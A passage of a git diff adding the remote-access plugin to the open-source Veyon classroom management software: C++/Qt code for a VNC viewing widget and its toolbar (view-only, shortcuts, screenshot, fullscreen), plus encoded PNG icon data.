commandLineModuleName() const override + { + return QStringLiteral( "remoteaccess" ); + } + + QString commandLineModuleHelp() const override + { + return description(); + } + + QStringList commands() const override; + + QString commandHelp( const QString& command ) const override; + +private slots: + CommandLinePluginInterface::RunResult handle_view( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_control( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_help( const QStringList& arguments ); + +private: + bool initAuthentication(); + bool remoteAccess( const QString& hostAddress, bool viewOnly ); + + const Feature m_remoteViewFeature; + const Feature m_remoteControlFeature; + const FeatureList m_features; + + QMap m_commands; + +}; + +#endif // REMOTE_ACCESS_FEATURE_PLUGIN_H diff --git a/plugins/remoteaccess/RemoteAccessWidget.cpp b/plugins/remoteaccess/RemoteAccessWidget.cpp new file mode 100644 index 0000000..06d1b08 --- /dev/null +++ b/plugins/remoteaccess/RemoteAccessWidget.cpp @@ -0,0 +1,382 @@ +/* + * RemoteAccessWidget.cpp - widget containing a VNC-view and controls for it + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include +#include +#include + +#include "rfb/keysym.h" + +#include "RemoteAccessWidget.h" +#include "VncView.h" +#include "VeyonConnection.h" +#include "Computer.h" +#include "ComputerControlInterface.h" +#include "PlatformCoreFunctions.h" +#include "ToolButton.h" +#include "Screenshot.h" + + +// toolbar for remote-control-widget +RemoteAccessWidgetToolBar::RemoteAccessWidgetToolBar( RemoteAccessWidget* parent, bool viewOnly ) : + QWidget( parent ), + m_parent( parent ), + m_showHideTimeLine( ShowHideAnimationDuration, this ), + m_iconStateTimeLine(), + m_connecting( false ), + m_viewOnlyButton( new ToolButton( QPixmap( QStringLiteral(":/remoteaccess/kmag.png") ), tr( "View only" ), tr( "Remote control" ) ) ), + m_sendShortcutButton( new ToolButton( QPixmap( QStringLiteral(":/remoteaccess/preferences-desktop-keyboard.png") ), tr( "Send shortcut" ) ) ), + m_screenshotButton( new ToolButton( QPixmap( QStringLiteral(":/remoteaccess/camera-photo.png") ), tr( "Screenshot" ) ) ), + m_fullScreenButton( new ToolButton( QPixmap( QStringLiteral(":/remoteaccess/view-fullscreen.png") ), tr( "Fullscreen" ), tr( "Window" ) ) ), + m_quitButton( new ToolButton( QPixmap( QStringLiteral(":/remoteaccess/application-exit.png") ), tr( "Quit" ) ) ) +{ + QPalette pal = palette(); + pal.setBrush( QPalette::Window, QPixmap( QStringLiteral(":/resources/toolbar-background.png") ) ); + setPalette( pal ); + + setAttribute( Qt::WA_NoSystemBackground, true ); + move( 0, 0 ); + show(); + startConnection(); + + m_viewOnlyButton->setCheckable( true ); + m_fullScreenButton->setCheckable( true ); + m_viewOnlyButton->setChecked( viewOnly ); + m_fullScreenButton->setChecked( false ); + + connect( m_viewOnlyButton, &ToolButton::toggled, this, &RemoteAccessWidgetToolBar::updateControls ); + connect( m_viewOnlyButton, &QAbstractButton::toggled, parent, &RemoteAccessWidget::toggleViewOnly ); + connect( m_fullScreenButton, &QAbstractButton::toggled, parent, &RemoteAccessWidget::toggleFullScreen ); + connect( m_screenshotButton, &QAbstractButton::clicked, parent, &RemoteAccessWidget::takeScreenshot ); + connect( m_quitButton, &QAbstractButton::clicked, parent, &QWidget::close ); + + auto vncView = parent->vncView(); + + auto shortcutMenu = new QMenu(); +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + connect( shortcutMenu->addAction( tr( "Ctrl+Alt+Del" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutCtrlAltDel ); } ); + connect( shortcutMenu->addAction( tr( "Ctrl+Esc" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutCtrlEscape ); } ); + connect( shortcutMenu->addAction( tr( "Alt+Tab" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutAltTab ); } ); + connect( shortcutMenu->addAction( tr( "Alt+F4" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutAltF4 ); } ); + connect( shortcutMenu->addAction( tr( "Win+Tab" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutWinTab ); } ); + connect( shortcutMenu->addAction( tr( "Win" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutWin ); } ); + connect( shortcutMenu->addAction( tr( "Menu" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutMenu ); } ); + connect( shortcutMenu->addAction( tr( "Alt+Ctrl+F1" ) ), &QAction::triggered, + vncView, [=]() { vncView->sendShortcut( VncView::ShortcutAltCtrlF1 ); } ); +#else + shortcutMenu->addAction( tr( "Ctrl+Alt+Del" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutCtrlAltDel ); } ); + shortcutMenu->addAction( tr( "Ctrl+Esc" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutCtrlEscape ); } ); + shortcutMenu->addAction( tr( "Alt+Tab" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutAltTab ); } ); + shortcutMenu->addAction( tr( "Alt+F4" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutAltF4 ); } ); + shortcutMenu->addAction( tr( "Win+Tab" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutWinTab ); } ); + shortcutMenu->addAction( tr( "Win" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutWin ); } ); + shortcutMenu->addAction( tr( "Menu" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutMenu ); } ); + shortcutMenu->addAction( tr( "Alt+Ctrl+F1" ), vncView, [=]() { vncView->sendShortcut( VncView::ShortcutAltCtrlF1 ); } ); +#endif + + m_sendShortcutButton->setMenu( shortcutMenu ); + m_sendShortcutButton->setPopupMode( QToolButton::InstantPopup ); + + auto layout = new QHBoxLayout( this ); + layout->setMargin( 1 ); + layout->setSpacing( 1 ); + layout->addStretch( 0 ); + layout->addWidget( m_sendShortcutButton ); + layout->addWidget( m_viewOnlyButton ); + layout->addWidget( m_screenshotButton ); + layout->addWidget( m_fullScreenButton ); + layout->addWidget( m_quitButton ); + layout->addSpacing( 5 ); + connect( vncView, &VncView::startConnection, this, &RemoteAccessWidgetToolBar::startConnection ); + connect( vncView, &VncView::connectionEstablished, this, &RemoteAccessWidgetToolBar::connectionEstablished ); + + setFixedHeight( m_quitButton->height() ); + + connect( &m_showHideTimeLine, &QTimeLine::valueChanged, this, &RemoteAccessWidgetToolBar::updatePosition ); + + m_iconStateTimeLine.setFrameRange( 0, 100 ); + m_iconStateTimeLine.setDuration( 1500 ); + m_iconStateTimeLine.setUpdateInterval( 60 ); + m_iconStateTimeLine.setCurveShape( QTimeLine::SineCurve ); + connect( &m_iconStateTimeLine, &QTimeLine::valueChanged, this, &RemoteAccessWidgetToolBar::updateConnectionAnimation ); + connect( &m_iconStateTimeLine, &QTimeLine::finished, &m_iconStateTimeLine, &QTimeLine::start ); +} + + + +RemoteAccessWidgetToolBar::~RemoteAccessWidgetToolBar() +{ +} + + + +void RemoteAccessWidgetToolBar::appear() +{ + m_showHideTimeLine.setDirection( QTimeLine::Backward ); + if( m_showHideTimeLine.state() != QTimeLine::Running ) + { + m_showHideTimeLine.resume(); + } +} + + + +void RemoteAccessWidgetToolBar::disappear() +{ + if( !m_connecting && !rect().contains( mapFromGlobal( QCursor::pos() ) ) ) + { + QTimer::singleShot( DisappearDelay, this, [this]() { + if( m_showHideTimeLine.state() != QTimeLine::Running ) + { + m_showHideTimeLine.setDirection( QTimeLine::Forward ); + m_showHideTimeLine.resume(); + } + } ); + } +} + + + +void RemoteAccessWidgetToolBar::updateControls( bool viewOnly ) +{ + m_sendShortcutButton->setVisible( viewOnly == false ); +} + + + +void RemoteAccessWidgetToolBar::leaveEvent( QEvent *event ) +{ + disappear(); + QWidget::leaveEvent( event ); +} + + + +void RemoteAccessWidgetToolBar::paintEvent( QPaintEvent *paintEv ) +{ + QPainter p( this ); + QFont f = p.font(); + + p.setOpacity( 0.8-0.8*m_showHideTimeLine.currentValue() ); + p.fillRect( paintEv->rect(), palette().brush( QPalette::Window ) ); + p.setOpacity( 1 ); + + f.setPointSize( 12 ); + f.setBold( true ); + p.setFont( f ); + + //p.setPen( Qt::white ); + //p.drawText( 64, 22, m_parent->windowTitle() ); + + p.setPen( QColor( 192, 192, 192 ) ); + f.setPointSize( 10 ); + p.setFont( f ); + + if( m_connecting ) + { + QString dots; + for( int i = 0; i < ( m_iconStateTimeLine.currentTime() / 120 ) % 6; ++i ) + { + dots += '.'; + } + p.drawText( 32, height() / 2 + fontMetrics().height(), tr( "Connecting %1" ).arg( dots ) ); + } + else + { + p.drawText( 32, height() / 2 + fontMetrics().height(), tr( "Connected." ) ); + } +} + + + +void RemoteAccessWidgetToolBar::updateConnectionAnimation() +{ + repaint(); +} + + + +void RemoteAccessWidgetToolBar::updatePosition() +{ + const auto newY = static_cast( m_showHideTimeLine.currentValue() * height() ); + + if( newY != -y() ) + { + move( x(), qMax( -height(), -newY ) ); + } +} + + + +void RemoteAccessWidgetToolBar::startConnection() +{ + m_connecting = true; + m_iconStateTimeLine.start(); + appear(); + update(); +} + + + + +void RemoteAccessWidgetToolBar::connectionEstablished() +{ + m_connecting = false; + m_iconStateTimeLine.stop(); + disappear(); + + // within the next 1000ms the username should be known and therefore we update + QTimer::singleShot( 1000, this, QOverload<>::of( &RemoteAccessWidgetToolBar::update ) ); +} + + + + +RemoteAccessWidget::RemoteAccessWidget( ComputerControlInterface::Pointer computerControlInterface, bool viewOnly ) : + QWidget( nullptr ), + m_computerControlInterface( computerControlInterface ), + m_vncView( new VncView( computerControlInterface->computer().hostAddress(), -1, this, VncView::RemoteControlMode ) ), + m_connection( new VeyonConnection( m_vncView->vncConnection() ) ), + m_toolBar( new RemoteAccessWidgetToolBar( this, viewOnly ) ) +{ + setWindowTitle( tr( "%1 - %2 Remote Access" ).arg( computerControlInterface->computer().name(), + VeyonCore::applicationName() ) ); + setWindowIcon( QPixmap( QStringLiteral(":/remoteaccess/kmag.png") ) ); + setAttribute( Qt::WA_DeleteOnClose, true ); + + m_vncView->move( 0, 0 ); + connect( m_vncView, &VncView::mouseAtBorder, m_toolBar, &RemoteAccessWidgetToolBar::appear ); + connect( m_vncView, &VncView::keyEvent, this, &RemoteAccessWidget::checkKeyEvent ); + connect( m_vncView, &VncView::sizeHintChanged, this, &RemoteAccessWidget::updateSize ); + + showMaximized(); + VeyonCore::platform().coreFunctions().raiseWindow( this ); + + showNormal(); + + move( 0, 0 ); + + toggleViewOnly( viewOnly ); +} + + + +RemoteAccessWidget::~RemoteAccessWidget() +{ + delete m_connection; + delete m_vncView; +} + + + +void RemoteAccessWidget::enterEvent( QEvent* event ) +{ + m_toolBar->disappear(); + + QWidget::enterEvent( event ); +} + + + +void RemoteAccessWidget::leaveEvent( QEvent* event ) +{ + QTimer::singleShot( AppearDelay, this, [this]() { + if( underMouse() == false ) + { + m_toolBar->appear(); + } + } ); + + QWidget::leaveEvent( event ); +} + + + +void RemoteAccessWidget::resizeEvent( QResizeEvent* event ) +{ + m_vncView->resize( size() ); + m_toolBar->setFixedSize( width(), m_toolBar->height() ); + + QWidget::resizeEvent( event ); +} + + + +void RemoteAccessWidget::checkKeyEvent( unsigned int key, bool pressed ) +{ + if( pressed && key == XK_Escape && !m_connection->isConnected() ) + { + close(); + } +} + + + +void RemoteAccessWidget::updateSize() +{ + if( !( windowState() & Qt::WindowFullScreen ) && + m_vncView->sizeHint().isEmpty() == false ) + { + resize( m_vncView->sizeHint() ); + } +} + + + +void RemoteAccessWidget::toggleFullScreen( bool _on ) +{ + if( _on ) + { + setWindowState( windowState() | Qt::WindowFullScreen ); + } + else + { + setWindowState( windowState() & ~Qt::WindowFullScreen ); + } +} + + + +void RemoteAccessWidget::toggleViewOnly( bool viewOnly ) +{ + m_vncView->setViewOnly( viewOnly ); + m_toolBar->updateControls( viewOnly ); + m_toolBar->update(); +} + + + +void RemoteAccessWidget::takeScreenshot() +{ + Screenshot().take( m_computerControlInterface ); +} diff --git a/plugins/remoteaccess/RemoteAccessWidget.h b/plugins/remoteaccess/RemoteAccessWidget.h new file mode 100644 index 0000000..3653251 --- /dev/null +++ b/plugins/remoteaccess/RemoteAccessWidget.h @@ -0,0 +1,119 @@ +/* + * RemoteAccessWidget.h - widget containing a VNC view and controls for it + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef REMOTE_ACCESS_WIDGET_H +#define REMOTE_ACCESS_WIDGET_H + +#include "ComputerControlInterface.h" + +#include +#include + +class VncView; +class VeyonConnection; +class RemoteAccessWidget; +class ToolButton; + +// clazy:excludeall=ctor-missing-parent-argument + +class RemoteAccessWidgetToolBar : public QWidget +{ + Q_OBJECT +public: + RemoteAccessWidgetToolBar( RemoteAccessWidget* parent, bool viewOnly ); + ~RemoteAccessWidgetToolBar() override; + + void appear(); + void disappear(); + void updateControls( bool viewOnly ); + + +protected: + void leaveEvent( QEvent* event ) override; + void paintEvent( QPaintEvent* event ) override; + + +private: + void updateConnectionAnimation(); + void updatePosition(); + void startConnection(); + void connectionEstablished(); + + RemoteAccessWidget * m_parent; + QTimeLine m_showHideTimeLine; + QTimeLine m_iconStateTimeLine; + + bool m_connecting; + + ToolButton* m_viewOnlyButton; + ToolButton* m_sendShortcutButton; + ToolButton* m_screenshotButton; + ToolButton* m_fullScreenButton; + ToolButton* m_quitButton; + + static constexpr int ShowHideAnimationDuration = 300; + static constexpr int DisappearDelay = 500; + +} ; + + + + + +class RemoteAccessWidget : public QWidget +{ + Q_OBJECT +public: + RemoteAccessWidget( ComputerControlInterface::Pointer computerControlInterface, bool viewOnly = false ); + ~RemoteAccessWidget() override; + + VncView* vncView() const + { + return m_vncView; + } + + void toggleFullScreen( bool ); + void toggleViewOnly( bool viewOnly ); + void takeScreenshot(); + + +protected: + void enterEvent( QEvent* event ) override; + void leaveEvent( QEvent* event ) override; + void resizeEvent( QResizeEvent* event ) override; + + +private: + void checkKeyEvent( unsigned int, bool ); + void updateSize(); + + ComputerControlInterface::Pointer m_computerControlInterface; + VncView* m_vncView; + VeyonConnection* m_connection; + RemoteAccessWidgetToolBar* m_toolBar; + + static constexpr int AppearDelay = 500; + +} ; + +#endif diff --git a/plugins/remoteaccess/application-exit.png b/plugins/remoteaccess/application-exit.png new file mode 100644 index 0000000000000000000000000000000000000000..5b0389ee70403945b5e0862131baae9642e89c26 GIT binary patch literal 207 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?O3?zSk_}l@cn2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjTBH3TYyi9 zE0DhB670;^oCahumIV0)GdMiE0pjR+x;Tb-98XS=V9j`7FC-x7#Nba9P+vDEItjWlfl!~&t;ucLK6UZ+Bhr# literal 0 HcmV?d00001 diff --git a/plugins/remoteaccess/camera-photo.png b/plugins/remoteaccess/camera-photo.png new file mode 100644 index 0000000000000000000000000000000000000000..f8ab91dbb5203c46da7ec16e671913b7843da349 GIT binary patch literal 6650 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 literal 0 HcmV?d00001 diff --git a/plugins/remoteaccess/kmag.png b/plugins/remoteaccess/kmag.png new file mode 100644 index 0000000000000000000000000000000000000000..814ac4a70c4552989eabd90f6da9727f23fe37df GIT binary patch literal 6369 zcmV<77#`<|P)YyJshdq$I8)71=T!$rfeAP7ou2 z5g-T<#76Rx*W{nb-x1_BPl+95d5Hrnu>sqV1Y3}8SysfIG(~duneOSW)|-d!uCA)C z>aL!B%sOC$)iu@CRrmYuIo~<=)@{fvv&=HfEVIlq%Ph0ZGRrKp%reU?v&???P5kkn zeCyj;GrYK_A;fpHW_W=KAf?P&;RQA&Yl4gbnPmjXEYko1`|H2|HcJa05()i354L6h zUGHE2o%D}@$oAlv-f?o|T))bHwYM$%JLK@V@%#H<9NcEo{@#YajZEAxB+M2{7^>F4 z2I(K8&6W^`*4yXxPwshaeDaiy+s}t7mJq{NZ->7fyFc(Z_IjKU;qUHmJBrEA|Lq@Q zvVb@nqPKVOnG8OhTmk9C}Ym*!ey6nsbopXmPnd-g+;81NAy zv8lC$TN-p67D~%8;78&0QAPsw?iO9UJsJE{kbu;?9Zbh%CZCJ_yW6&S_`kow=~(gL z2Z4%!AA4K^Nh+m0%k!1M`3C18L=qT$zPJCuvu*!2v7Ylw|Z)P0$V@R?*U*TI{doA!i417jp zUwHq+|NQyzd@)#SNg&8c@W{zdJPiIYFr0=E5H-j3Slex~P%43x?A(6N%14hQ0F00K zL;y}CNs=d-68z{nW!exR@rZt+(cR|r`n^QA9}NL<;73EiX{$kbNH*FnDw`Xue7rdd zegKVF@Kfr7IPti$+2jWw-0rz}5hh5`?IQ$Vyn2>1vtUlj z@RNFeGz6T+0;H~}%ohvf#Z&a_lF#p}xQ-j&>w^L;sn<_Il2*s${^!x+@Or

cyd(f%D#s3QZoOk`N1i>QZn}wg2e;e~b}&lfjo`z&~y;V4yIAjyUAYD3u!MuN2vQ zRz%v~o=U;fkmSc7J>n7^z{ zQQcpaZ_IH?BncIFBCpsG;K|Wa;B2<<_u=t+jEsK^*n+o_In8d(+}<>i9Z>s9~_PdsOUP^YcpJ|)HqWt5Yfb_ zQlLm^m?qB~O&)CSu-I{k)9m^1X#XE@i)m)D1Vvg&J^K7=;{PO84PwTr!S8pgc(DX9RH61(- zrW8C$xW-Kgi96KpwCHr_$miO78r&H>nKYqXv>*G@`~vSRo$Za(`C&}*wAEt0-NrN> z=sM(7je@RG&F5IIRmiEmO5c33$TzQD;_-H!_Z~jMcD;j00w(K%T#M?tJgv1No-NZ? z`Nrsisk0!N;HKz2qv@WZT(JBJB54M9M!=6PFGq#s-ede9E}!SMnK}Plb<5(zwN>ud z>zIy9!G@9x$Z+E*LU5*1;`OsjoU4@qcxARqt#Fke-Fe8aX&pWT08KNgE_*aLD|l_W zr&+;i!Ix=6Krg09G;5WnJ4d0U^hhzq;7)Yb@aWjW{_+4-2>$G)i<~d^z;mSJ{nh7u zyt#?zc?by=Q;>7xKkrG&^Lmr#^(JSlW!}Dco?1S~Og_h-{@yj-{pAUEfti0Mkf`>leGUW@EK7%?D$ z>NT<34NNsMZ$dN63;x}ex5zi1=0bfw_bmT=jz!@&dKLnM$kN@tyRw>WulXDs;p 